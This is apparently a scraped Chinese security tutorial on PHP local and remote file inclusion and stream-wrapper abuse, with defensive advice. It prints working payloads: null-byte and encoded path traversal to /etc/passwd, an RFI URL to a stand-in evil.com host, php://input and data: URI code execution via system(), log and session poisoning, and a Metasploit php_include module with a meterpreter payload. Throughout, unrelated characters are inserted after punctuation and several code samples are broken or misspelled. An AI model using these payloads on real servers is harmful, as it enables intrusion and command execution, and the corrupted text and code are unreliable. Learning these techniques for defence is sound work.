LFI、RFI舔稀、PHP封裝協(xié)議安全問題學(xué)習(xí)
本文希望分享一些本地文件包含乳丰、遠(yuǎn)程文件包含、PHP的封裝協(xié)議(偽協(xié)議)中可能包含的漏洞
相關(guān)學(xué)習(xí)資料
文件包含的基本概念
LFI(Local File Include)
RFI(Remote File Include)
4.PHP中的封裝協(xié)議(偽協(xié)議)内贮、PHP的流式文件操作模式所帶來的問題</pre>
1. 文件包含的基本概念
嚴(yán)格來說产园,文件包含漏洞是"代碼注入"的一種。"代碼注入"這種攻擊夜郁,其原理就是注入一段用戶能控制的腳本或代碼什燕,并讓服務(wù)器端執(zhí)行。
"代碼注入"的典型代碼就是文件包含(File Inclusion)竞端,我的理解是叫"外部數(shù)據(jù)流包含"秋冰,至于這個外部數(shù)據(jù)流是什么,可以是文件婶熬,也可以是POST數(shù)據(jù)流的形式剑勾。
文件包含可能會出現(xiàn)在JSP,PHP,ASP等語言中埃撵。
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">
PHP: include(), include_once, require(), require_once(), fopen(), readfile()
JSP
/
Servlet: ava.io.File(), Java.io.FileReader()
ASP: include file, include
virtual
</pre>
在PHP中,當(dāng)使用這4個函數(shù)包含一個新的文件時虽另,該文件將作為PHP代碼執(zhí)行暂刘,PHP的內(nèi)核并不會在意被包含的文件是什么類型。所以如果被包含的是txt捂刺、圖片谣拣、遠(yuǎn)程URL。也都會被當(dāng)作PHP代碼執(zhí)行(圖片型木馬的原理也就在這里)族展。
要想成功利用文件包含漏洞森缠,需要滿足下面的條件
1) include()等函數(shù)通過動態(tài)變量的方式引入需要包含的文件
(攻擊者可以本地變量任意覆蓋的漏洞或者自定義前綴的漏洞來達(dá)到這個動態(tài)引入的漏洞利用)
[](javascript:void(0); "復(fù)制代碼")
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">
example:
<?
php
$file
= $_GET[
'
file
'
];
@include_once(
"
$file
"
.
"
/templete/tpl.html
"
);
?>
黑客可以采取:
1
) %
00
、/
0截斷的方式使程序包含攻擊者想要的文件
2
) 攻擊者輸入一個remote url: http:
//
www.evil.com/index.php? 仪缸,如果目標(biāo)服務(wù)器開啟了allow_url_include = On則這句代碼表現(xiàn)為: @include_once("
http://www.evil.com/index.php?/templete/tpl.html
");
可以看到贵涵,根據(jù)HTTP參數(shù)的定義,
"
?
"
后面的內(nèi)容被當(dāng)作了傳給這個腳本的參數(shù)恰画,從而達(dá)到了00截斷相同的效果</pre>
[](javascript:void(0); "復(fù)制代碼")
2) 用戶能夠控制該動態(tài)變量
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
$file
= $_GET[
'
file
'
];
@include_once(
"
$file
"
);
?>
這種情況的利用方式就更多了宾茂,接下來我會盡我所能,把我搜集到的資料分享給大家
</pre>
2. LFI(Local File Include)本地文件包含
在探討本地文件包含的漏洞之前拴还,我覺得有必要先一下本地文件包含的作用跨晴。在WEB開發(fā)中為什么要使用本地文件包含,它有什么作用片林。
一般來說端盆,本地文件包含(即include)有以下幾點(diǎn)作用
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">
1
) 將網(wǎng)站頁面通用的page_header.php(常常顯示banner信息等)、頁面尾部page_footer.php(常常顯示版權(quán)信息等)獨(dú)立出來费封,這樣在任何頁面需要的時候就可以直接通過include方式引入進(jìn)來焕妙,提高了代碼的重用性,加快了開發(fā)速度
2
) 將通用配置文件孝偎,例如數(shù)據(jù)庫連接文件database.php單獨(dú)封裝出來访敌,方便需要進(jìn)行數(shù)據(jù)庫連接的時候就可以直接通過include方式引入進(jìn)來
3
) 將一些涉及到安全過濾、輸入檢測的代碼邏輯單獨(dú)封裝成一個secure.php文件衣盾,這樣就可以在整個WEB系統(tǒng)中進(jìn)行統(tǒng)一的安全過濾處理寺旺,防止因?yàn)楦鱾€業(yè)務(wù)場景的代碼邏輯不一致導(dǎo)致的漏洞
4
) WEB系統(tǒng)中廣泛采用的文件緩存、數(shù)據(jù)緩存都是通過include方式完成的</pre>
了解了LFI的應(yīng)用場景之后势决,我們來學(xué)習(xí)一下LFI的成因阻塑、以及可能產(chǎn)生的安全問題
能夠打開并包含本地文件的漏洞,被稱為本地文件包含漏洞(Local File Inclusion LFI)
下面是一段測試代碼:
[](javascript:void(0); "復(fù)制代碼")
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
//
"../../etc/passwd\0"
_GET[
'
file
'
];
if
(file_exists(
'
/home/wwwrun/
'
. $file .
'
.php
'
))
{
inlcude
'
/home/wwwrun/
'
. $file .
'
.php
'
;
}
?></pre>
[](javascript:void(0); "復(fù)制代碼")
這個方案看似很安全果复,程序員把inlcude路徑的前綴部分陈莽、后綴部分都給控制住了。相比于連路徑的前綴都由用戶控制的那種漏洞已經(jīng)安全多了。但是這里存在幾個問題
1) 00字符截斷
PHP內(nèi)核是由C語言實(shí)現(xiàn)的走搁,因此使用了C語言中的一些字符串處理函數(shù)独柑。在連接字符串時,0字節(jié)(\x00)將作為字符串的結(jié)束符私植。所以在這個地方忌栅,攻擊者只要在最后加入一個0字節(jié),就能截斷file變量之后的字符串曲稼。
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">../etc/passwd\
0
</pre>
通過web輸入時索绪,只需UrlEncode,變成:
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">../etc/passwd%
00
</pre>
字符串截斷的技巧贫悄,也是文件包含中最常用的技巧
防御方法:
在一般的web應(yīng)用中瑞驱,0字節(jié)用戶其實(shí)是不需要的,因此完全可以禁用0字節(jié)
](javascript:void(0); "復(fù)制代碼")
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
function getVar(value
= isset(name]) ?
name] :
null
;
if
(is_string(value
= str_replace(
"
\0
"
,
''
, $value);
}
}
?>
</pre>
[](javascript:void(0); "復(fù)制代碼")
2) 超長字符截斷
采用00字符過濾并沒有完全解決問題窄坦,
利用操作系統(tǒng)對目錄最大長度的限制唤反,可以不需要0字節(jié)而達(dá)到截斷的目的。
http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html
我們知道目錄字符串嫡丙,在window下256字節(jié)拴袭、linux下4096字節(jié)時會達(dá)到最大值读第,最大值長度之后的字符將被丟棄曙博。
而利用"./"的方式即可構(gòu)造出超長目錄字符串:
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">././././././././././././././././
abc
////////////////////////
abc
..
1
/abc/../
1
/abc/../
1
/abc</pre>
延伸一個話題:
這種截斷型漏洞我覺得和有一種數(shù)據(jù)庫截斷的導(dǎo)致越權(quán)訪問的漏洞類似:
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">
在數(shù)據(jù)庫的表中一般會對某個字段的長度進(jìn)行限制,如果長度超過了這個長度會被數(shù)據(jù)庫自動截斷怜瞒,如果原本存在一個admin賬戶(并且長度限制為5)父泳,那么攻擊者可以嘗試注冊admin_test,但是因?yàn)閿?shù)據(jù)庫的長度限制吴汪,導(dǎo)致被截斷了惠窄,也變成了admin,這種漏洞利用思想就是利用兩個系統(tǒng)范圍之間的標(biāo)準(zhǔn)不一致導(dǎo)致的繞過思路)
漾橙。操作系統(tǒng)把目錄字符串的超出部分截斷了杆融,反過來導(dǎo)致了攻擊者可以任意控制想要輸入的文件名
</pre>
除了incldue()等4個函數(shù)之外,PHP中能夠?qū)ξ募M(jìn)行操作的函數(shù)都有可能出現(xiàn)漏洞霜运。雖然大多數(shù)情況下不能執(zhí)行PHP代碼脾歇,但能夠讀取敏感文件帶來的后果也是比較嚴(yán)重的。例如: fopen()淘捡、fread()
0x3: 任意目錄遍歷
除了這種攻擊方式藕各,還可以使用"../../../"這樣的方式來返回到上層目錄中,這種方式又被稱為"目錄遍歷(Path Traversal)"焦除。常見的目錄遍歷漏洞激况,還可以通過不同的編碼方式來繞過一些服務(wù)器端的防御邏輯(WAF)
[](javascript:void(0); "復(fù)制代碼")
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">%2e%2e%2f -> ../
%2e%2e/ -> ../
..
%2f -> ../
%2e%2e%5c ->
..\
%2e%2e%\ ->
..
..
%5c ->
..\
%252e%252e%255c ->
..
..
%255c -> ..</pre>
[](javascript:void(0); "復(fù)制代碼")
防御方法:
目錄遍歷漏洞是一種跨越目錄讀取文件的方法,但當(dāng)PHP配置了open_basedir時,將很好地保護(hù)服務(wù)器乌逐,使得這種攻擊無效竭讳。
open_basedir的作用是限制在某個特定目錄下PHP能打開的文件(有點(diǎn)像chroot的感覺)
比如在沒有設(shè)置open_basedir時,文件包含漏洞可以訪問任意文件
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">http:
//
localhost/FIleInclude/index.php?file=../Time/index
</pre>
當(dāng)設(shè)置了open_basedir時:
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">open_basedir =
E:\wamp\www\FIleInclude
http:
//
localhost/FIleInclude/index.php?file=../Time/index
Warning: file_exists(): open_basedir restriction
in
effect. File(../Time/index.php)
is
not within the allowed path(s): (E:\wamp\www\FIleInclude)
in
E:\wamp\www\FIleInclude\index.php on line
4
Call Stack
文件包含失斦闾摺4獭!成黄!
</pre>
綜上呐芥,要防御LFI的漏洞,應(yīng)該盡量避免包含動態(tài)的變量奋岁,尤其是用戶可以控制的變量思瘟。一種變通的方式,則是使用枚舉:
[](javascript:void(0); "復(fù)制代碼")
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
$file
= $_GET[
'
file
'
];
//
whitelisting possible values
switch
($file)
{
case
"
main
"
:
case
"
foo
"
:
case
"
bar
"
:
include
"
/home/wwwrun/include
"
. $file .
"
.php
"
;
break
;
default
:
include
"
/home/wwwrun/include/main.php
"
;
}
?></pre>
[](javascript:void(0); "復(fù)制代碼")
這是一種參數(shù)化白名單的防御思想闻伶。通過將可能的值限定在一個可能的范圍內(nèi)來控制風(fēng)險滨攻。$file的值被枚舉出來,也就避免了因?yàn)橛脩舻姆欠ㄝ斎雽?dǎo)致文件包含的風(fēng)險蓝翰。
3. RFI(Remote File Include)遠(yuǎn)程文件包含
遠(yuǎn)程文件包含本質(zhì)上和LFI(本地文件包含)是同一個概念光绕,只是被包含的"文件源"(我們之后會了解到其實(shí)是流源)不是從本次磁盤上獲得,而是從外部輸入流得到畜份。
如果PHP的配置選項(xiàng)allow_url_include為ON的話诞帐,則include/require函數(shù)可以加載遠(yuǎn)程文件,這種漏洞被稱為"遠(yuǎn)程文件包含漏洞(Remote File Inclusion RFI)"爆雹。
為了更好地說明停蕉,我們還是準(zhǔn)備一段典型代碼:
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
$basePath
= $_GET[
'
path
'
];
require_once $basePath .
"
/action/m_share.php
"
;
?></pre>
這里看似將路徑的后半段都定死了,但是結(jié)合HTTP傳參的原理可以繞過去
攻擊者可以構(gòu)造類似如下的攻擊URL
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">http:
//
localhost/FIleInclude/index.php?path=
http://localhost/test/solution.php?
</pre>
產(chǎn)生的原理:
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">/?path=http:
//
localhost/test/solution.php?
最終目標(biāo)應(yīng)用程序代碼實(shí)際上執(zhí)行了:
require_once
"
http://localhost/test/solution.php?/action/m_share.php
"
;
(注意钙态,這里很巧妙慧起,問號
"
?
"
后面的代碼被解釋成URL的querystring,這也是一種
"
截斷
"
思想册倒,和%
00一樣)
攻擊者可以在http:
//
localhost/test/solution.php上模擬出相應(yīng)的路徑蚓挤,從而使之吻合
</pre>
防御思路:
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">
1
. 關(guān)閉遠(yuǎn)程文件包含的配置選項(xiàng)
allow_url_include
= Off</pre>
關(guān)于LFI還有另一種攻擊方式,我們將在接下來學(xué)習(xí)了PHP的偽協(xié)議封裝器驻子、流之后理解到它的原理
4. PHP中的封裝協(xié)議(偽協(xié)議)灿意、PHP的流式文件操作模式所帶來的問題
我們知道,我們利用遠(yuǎn)程/本地文件包含漏洞的目的有以下幾個:
[](javascript:void(0); "復(fù)制代碼")
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">
1
) 越權(quán)訪問文件(/etc/
passwd)
1.1
) 00截斷
1.2
) 超長截斷
1.3
) 目錄遍歷的攻擊方式
2
) 任意代碼執(zhí)行
2.1
) 通過正常拴孤、非正常將一個包含有腳本代碼的文件上傳到服務(wù)器上(常常是.jpg圖片格式脾歧,將代碼藏在圖片中),然后在攻擊paylaod中引入這個包含腳本代碼的文件演熟,使代碼得以執(zhí)行(圖片木馬)
2.2
) 通過包含服務(wù)器上的WEB系統(tǒng)原本就存在的.php腳本文件達(dá)到改變代碼邏輯的目的
2.3
) 通過RFI(遠(yuǎn)程文件包含)將I/O流鞭执、協(xié)議流的資源描述符作為文件包含的輸入源司顿,從而利用HTTP通信將任意代碼注入原始的腳本執(zhí)行空間中</pre>
[](javascript:void(0); "復(fù)制代碼")
接下來,我們將逐一學(xué)習(xí)PHP中的封裝協(xié)議
http://cn2.php.net/manual/zh/wrappers.php
|
1
|
PHP 帶有很多內(nèi)置 URL 風(fēng)格的封裝協(xié)議(scheme:``//... )兄纺,可用于類似 fopen()大溜、 copy()、 file_exists() 和 filesize() 的文件系統(tǒng)函數(shù)估脆。 除了這些封裝協(xié)議钦奋,還能通過 stream_wrapper_register() 來注冊自定義的封裝協(xié)議。和javascript在瀏覽器中實(shí)現(xiàn)的一些的偽協(xié)議類似疙赠,PHP的偽協(xié)議提供了另一種"非常規(guī)"的方式進(jìn)行數(shù)據(jù)的輸入付材、輸出
|
我對它們進(jìn)行了一個大致的分類,分別對應(yīng)于不同類型的漏洞攻擊方式
0x1: 越權(quán)訪問本地文件
1) file:// — 訪問本地文件系統(tǒng)
文件系統(tǒng)是PHP使用的默認(rèn)封裝協(xié)議圃阳,展現(xiàn)了本地文件系統(tǒng)
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
$res
= file_get_contents(
"
file://E://wamp//www//test//solution.php
"
);
var_dump($res);
?></pre>
這里的要重點(diǎn)注意厌衔,file://這個偽協(xié)議可以展示"本地文件系統(tǒng)",當(dāng)存在某個用戶可控制捍岳、并得以訪問執(zhí)行的輸入點(diǎn)時富寿,我們可以嘗試輸入file://去試圖獲取本地磁盤文件
http://www.wechall.net/challenge/crappyshare/index.php
http://www.wechall.net/challenge/crappyshare/crappyshare.php
在這題CTF中,攻擊的關(guān)鍵點(diǎn)在于:curl_exec($ch)
[](javascript:void(0); "復(fù)制代碼")
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">
function upload_please_by_url($url)
{
if
(
1
=== preg_match(
'
^[a-z]{3,5}://#
'
, $url)) # Is URL?
{
$ch
=
curl_init(ch, CURLOPT_RETURNTRANSFER,
true
);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,
true
);
curl_setopt($ch, CURLOPT_FAILONERROR,
true
);
if
(
false
=== ($file_data =
curl_exec($ch)))
{
htmlDisplayError(
'
cURL failed.
'
);
}
else
{
//
Thanks
upload_please_thx($file_data);
}
}
else
{
htmlDisplayError(
'
Your URL looks errorneous.
'
);
}
}
</pre>
[](javascript:void(0); "復(fù)制代碼")
當(dāng)我們輸入的file://參數(shù)被帶入curl中執(zhí)行時锣夹,原本的遠(yuǎn)程URL訪問會被重定向到本地磁盤上页徐,從而達(dá)到越權(quán)訪問文件的目的
2) php://filter -- 對本地磁盤文件進(jìn)行讀寫
php://filter是一種元封裝器,設(shè)計用于"數(shù)據(jù)流打開"時的"篩選過濾"應(yīng)用银萍。這對于一體式(all-in-one)的文件函數(shù)非常有用变勇,類似readfile()、file()砖顷、file_get_contens()贰锁,在數(shù)據(jù)流內(nèi)容讀取之前沒有機(jī)會應(yīng)用其他過濾器
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
@include($_GET[
"
file
"
]);
?>
url: http:
//
localhost/test/index.php?file=php:
//
filter/read=convert.base64-encode/resource=index.php
result: PD9waHAgc3lzdGVtKCdpcGNvbmZpZycpOz8
- (base64解密就可以看到內(nèi)容赃梧,這里如果不進(jìn)行base64_encode滤蝠,則被include進(jìn)來的代碼就會被執(zhí)行,導(dǎo)致看不到源代碼)</pre>
向磁盤寫入文件
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
/*
這會通過 rot13 過濾器篩選出字符 "Hello World"
然后寫入當(dāng)前目錄下的 example.txt
*/
file_put_contents(
"
php://filter/write=string.rot13/resource=example.txt
"
,
"
Hello World
"
);
?>
這個參數(shù)采用一個或以管道符
| 分隔的多個過濾器名稱</pre>
0x2: 代碼任意執(zhí)行
1) php:// — 訪問各個輸入/輸出流(I/O streams)
http://cn2.php.net/manual/zh/wrappers.php.php
PHP 提供了一些雜項(xiàng)輸入/輸出(IO)流授嘀,允許訪問 PHP 的輸入輸出流物咳、標(biāo)準(zhǔn)輸入輸出和錯誤描述符, 內(nèi)存中蹄皱、磁盤備份的臨時文件流以及可以操作其他讀取寫入文件資源的過濾器。
1.1) php://input
php://input 是個可以訪問請求的原始數(shù)據(jù)的只讀流(這個原始數(shù)據(jù)指的是POST數(shù)據(jù))
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
$res
= file_get_contents(
"
"
);
var_dump($res);
?>
post提交數(shù)據(jù):hello
result: hello
</pre>
偽協(xié)議php://input需要服務(wù)器支持,同時要求"allow_url_include"設(shè)置為"On"
利用偽協(xié)議的這種性質(zhì)赦抖,我們可以將LFI衍生為一個code excute漏洞
http://www.freebuf.com/articles/web/14097.html#comment-16863
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
@eval(file_get_contents(
'
'
))
?>
http:
//
localhost/test/index.php
post: system(
"
dir
"
);
result: list directory
</pre>
這本質(zhì)上遠(yuǎn)程文件包含的利用惧所,我們知道,遠(yuǎn)程文件包含中的include接收的是一個"資源定位符"锻拘,在大多數(shù)情況下這是一個磁盤文件路徑油吭,但是從流的角度來看击蹲,這也可以是一個流資源定位符,即我們將include待包含的資源又重定向到了輸入流中婉宰,從而可以輸入我們的任意code到include中
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
@include($_GET[
"
file
"
]);
?>
http:
//
localhost/test/index.php?file=php:
//
input
post: <?php system(
'
ipconfig
'
);?>
result: ip information
</pre>
(有一點(diǎn)要注意)
<?php echo file_get_contents("solution.php");?>
在利用文件包含進(jìn)行代碼執(zhí)行的時候歌豺,我們通過file_get_contents獲取到的文件內(nèi)容,如果是一個.php文件心包,會被當(dāng)作include的輸入?yún)?shù)类咧,也就意味著會被再執(zhí)行一次,則我們無法看到原始代碼了蟹腾,解決這個問題的方法就是使用base64_encode進(jìn)行編碼
<?php echo base64_encode(file_get_contents("solution.php"));?>
php://偽協(xié)議框架中還有其他的流痕惋,但是和源代碼執(zhí)行似乎沒有關(guān)系,這里也列出來大家一起學(xué)習(xí)吧
php://output是一個只寫的數(shù)據(jù)流娃殖,允許我們以print和echo一樣的方式寫入到輸出緩沖區(qū)
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
$data
=
"
hello LittleHann
"
;
$res
= file_put_contents(
"
"
, $data);
?>
result: hello LittleHann
</pre>
php://memory和php://temp是一個類似"文件包裝器"的數(shù)據(jù)流血巍,允許讀寫"臨時數(shù)據(jù)"。兩者唯一的區(qū)別是:
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">
1
) php:
//
memory 總是把數(shù)據(jù)存儲在內(nèi)存中
2
) php:
//
temp會在內(nèi)存量達(dá)到預(yù)定義的限制后(默認(rèn)是2M)存入臨時文件中
</pre>
臨時文件位置的決定和sys_get_temp_dir()的方式一致(upload_tmp_dir = "E:/wamp/tmp")
[](javascript:void(0); "復(fù)制代碼")
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
$fp
= fopen(
"
"
,
'
r+
'
);
fputs($fp,
"
hello LittleHann!!!\n
"
);
rewind($fp);
while
(!
feof(fp,
1024
);
}
fclose($fp);
?>
result:
hello LittleHann
!!!</pre>
[](javascript:void(0); "復(fù)制代碼")
2) data://偽協(xié)議
http://www.php.net/manual/zh/wrappers.data.php
這是一種數(shù)據(jù)流封裝器珊随,data:URI schema(URL schema可以是很多形式)
利用data://偽協(xié)議進(jìn)行代碼執(zhí)行的思路原理和php://是類似的述寡,都是利用了PHP中的流的概念,將原本的include的文件流重定向到了用戶可控制的輸入流中
data:text/plain,...
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
@include($_GET[
"
file
"
]);
?>
url: http:
//
localhost/test/wrapper.php?file=data:text/plain,<?php system("net user")?>
result: user information
</pre>
data://text/base64,...
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
@include($_GET[
"
file
"
]);
?>
url: http:
//
localhost/test/wrapper.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJuZXQgdXNlciIpPz4=
result: user information
</pre>
data://image/jpeg;base64,...
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
$jpegimage
= imagecreatefromjpeg(
"
data://image/jpeg;base64,
"
. base64_encode($sql_result_array[
'
imagedata
'
]));
?>
圖片木馬
</pre>
0x3: 目錄遍歷
1) glob://偽協(xié)議
glob:// 查找匹配的文件路徑模式
[](javascript:void(0); "復(fù)制代碼")
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;"><?
php
//
循環(huán) ext/spl/examples/ 目錄里所有 *.php 文件
//
并打印文件名和文件尺寸
$it =
new
DirectoryIterator(
"
glob://E:\wamp\www\test\*.php
"
);
foreach
($it
as
$f)
{
printf(
"
%s: %.1FK\n
"
, f->getSize()/
1024
);
}
?></pre>
[](javascript:void(0); "復(fù)制代碼")
5. 文件包含可能存在的其他利用方式
這里用"可能"存在是因?yàn)橛行├梅绞胶蚖EB系統(tǒng)的具體業(yè)務(wù)場景叶洞、代碼邏輯鲫凶、服務(wù)器的版本、配置有關(guān)衩辟,不具有通用性
0x1: 包含Session文件
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">包含Session文件的條件也較為苛刻螟炫,它需要攻擊者能夠
"
控制
"
部分Session文件的內(nèi)容。
x
|s:
19
:
"
<?php phpinfo(); ?>
"
PHP默認(rèn)生成的Session文件往往存放在
/
tmp目錄下
/tmp/sess_SESSIONID</pre>
0x2: 包含日志文件艺晴,比如Web Server的access.log
包含日志文件是一種比較靈活的技巧昼钻,因?yàn)榉?wù)器一般都會往web server的access_log里記錄客戶端的請求信息,在error_log里記錄出錯信息封寞。因此攻擊者可以間接地將PHP代碼寫入到日志文件中然评,在文件包含時,只需要包含日志文件即可
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">
織夢CMS的一個利用mysql的錯誤語句狈究,然后程序會把錯誤信息寫入到網(wǎng)站的目錄下的一個.php文件中碗淌。攻擊者只要在這此的錯誤請求中附帶上PHP代碼,就可以達(dá)到getshell的目的抖锥,就是這個思路
http:
//
sebug.net/vuldb/ssvid-12154
利用了MySQL字段數(shù)值溢出引發(fā)錯誤和DEDECMS用PHP記錄數(shù)據(jù)庫錯誤信息并且文件頭部沒有驗(yàn)證的漏洞
</pre>
MSF攻擊模塊
[](javascript:void(0); "復(fù)制代碼")
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">use exploit/unix/webapp/
php_include
set
rhost
192.168
.
159.128
set
rport
80
set
phpuri /index.php?file=
xxLFIxx
set
path http:
//
172.18.176.147/
set
payload php/meterpreter/
bind_tcp
set
srvport
8888
exploit
-z</pre>
[](javascript:void(0); "復(fù)制代碼")
0x3: 包含/proc/self/environ文件
包含/proc/self/environ是一種更通用的方法亿眠,因?yàn)樗静恍枰聹y包包含文件的路徑,同時用戶也能控制它的內(nèi)容磅废。
[](javascript:void(0); "復(fù)制代碼")
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">http:
//
192.168.159.128/index.php?file=../../../../../../../proc/self/environ
SSH_AGENT_PID=
4314
HOSTNAME
=
localhost.localdomain
DESKTOP_STARTUP_ID
=TERM=xtermSHELL=/bin/
bash
HISTSIZE
=1000KDE_NO_IPV6=1GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-
1.2
-gnome2WINDOWID=26239249USER=rootLS_COLORS=no=
00
:fi=
00
:di=
00
;
34
:ln=
00
;
36
:pi=
40
;
33
:so=
00
;
35
:bd=
40
;
33
;
01
:cd=
40
;
33
;
01
:or=
01
;
05
;
37
;
41
:mi=
01
;
05
;
37
;
41
:ex=
00
;
32
:*.cmd=
00
;
32
:*.exe=
00
;
32
:*.com=
00
;
32
:*.btm=
00
;
32
:*.bat=
00
;
32
:*.sh=
00
;
32
:*.csh=
00
;
32
:*.tar=
00
;
31
:*.tgz=
00
;
31
:*.arj=
00
;
31
:*.taz=
00
;
31
:*.lzh=
00
;
31
:*.zip=
00
;
31
:*.z=
00
;
31
:*.Z=
00
;
31
:*.gz=
00
;
31
:*.bz2=
00
;
31
:*.bz=
00
;
31
:*.tz=
00
;
31
:*.rpm=
00
;
31
:*.cpio=
00
;
31
:*.jpg=
00
;
35
:*.gif=
00
;
35
:*.bmp=
00
;
35
:*.xbm=
00
;
35
:*.xpm=
00
;
35
:*.png=
00
;
35
:*.tif=
00
;
35
:GNOME_KEYRING_SOCKET=/tmp/keyring-SlrelE/socketSSH_AUTH_SOCK=/tmp/ssh-lFKDab4288/agent.4288KDEDIR=/usrSESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/4288MAIL=/
var
/spool/mail/rootPATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/binINPUTRC=/etc/inputrcPWD=/
var
/log/httpdXMODIFIERS=@im=noneLANG=en_US.UTF-8KDE_IS_PRELINKED=1SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpassSHLVL=3HOME=/rootGNOME_DESKTOP_SESSION_ID=DefaultLOGNAME=rootCVS_RSH=sshDBUS_SESSION_BUS_ADDRESS=unix:
abstract
=/tmp/dbus-WIFRtyS0Yc,guid=4ede99c74b6a8ca1097e5500527437aeLESSOPEN=|/usr/bin/lesspipe.sh %sDISPLAY=:
0
.0G_BROKEN_FILENAMES=1COLORTERM=gnome-terminalXAUTHORITY=/root/.Xauthority_=/bin/catOLDPWD=/
var
/log</pre>
[](javascript:void(0); "復(fù)制代碼")
0x4: 包含上傳的臨時文件(RFC1867)
但PHP創(chuàng)建的上傳臨時文件纳像,往往處于PHP允許訪問的目錄范圍內(nèi)。
PHP處理上傳文件的過程是這樣的:
](javascript:void(0); "復(fù)制代碼")
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">
HTTP POST with a file arrives
PHP begins analysis
PHP creates temp file
PHP writes data to temp file
PHP close temp file
script execution begins
[optional] script moves uploaded file
script execution ends
PHP removes temp files(
if
any)</pre>
[](javascript:void(0); "復(fù)制代碼")
PHP會為上傳文件創(chuàng)建臨時文件拯勉,其目錄在php.ini的upload_tmp_dir中定義竟趾。但該值默認(rèn)為空耙考,此時在linux下會使用/tmp目錄,在windows下會使用C:\windows\temp目錄潭兽。
